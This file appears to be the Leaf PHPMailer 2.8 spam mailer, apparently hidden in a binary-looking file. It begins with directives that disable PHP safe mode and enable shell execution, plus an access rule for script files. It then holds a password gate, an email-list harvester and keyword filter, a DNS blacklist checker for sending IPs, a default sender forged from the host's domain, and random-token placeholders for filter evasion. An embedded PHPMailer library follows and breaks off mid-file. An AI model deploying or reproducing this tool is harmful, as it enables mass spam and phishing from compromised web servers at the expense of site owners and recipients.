7Њ*1Ȣm/VYE2;N ÐfZ`Y[z v*0F,GhqR ^!(2k,ElS[.w5ofŮj=S38;kA5C7f\*Jl(pRO= o͎Ѣ6&
wdw;-w\ӧD X	?];s0+d\\a@6/:2ml~Id
5vVB#6gfxknzqdvoiUY99$bgNU'V@EP!T}Aj%
Zjrwlskdotn*/Ѽpl"w^PF϶6t{~Xnz|+2!I6;rr1Yr`d}޶}'Lfxknzqdvoir;UHlx96Bӭr`"m}JJ|b*7j~gXk%Xe{ӭVJ)S\F;AYӱ
9`
2g{B@a*:*Mjw8E)%
&B[lJ!|~^Gbϋ.
HBS0G+x|\Tޫk
dETfxknzqdvoi[*_cuaR &ҷovxG2j͵!JHT1`kqXFuoXAz9M׫8bHue2.jrwlskdotnSĤ1fxknzqdvoi	e
m[FU45SLjrwlskdotnnu*HPUQxw߇wϯ\¶8safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "CynWlZUGjz6";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
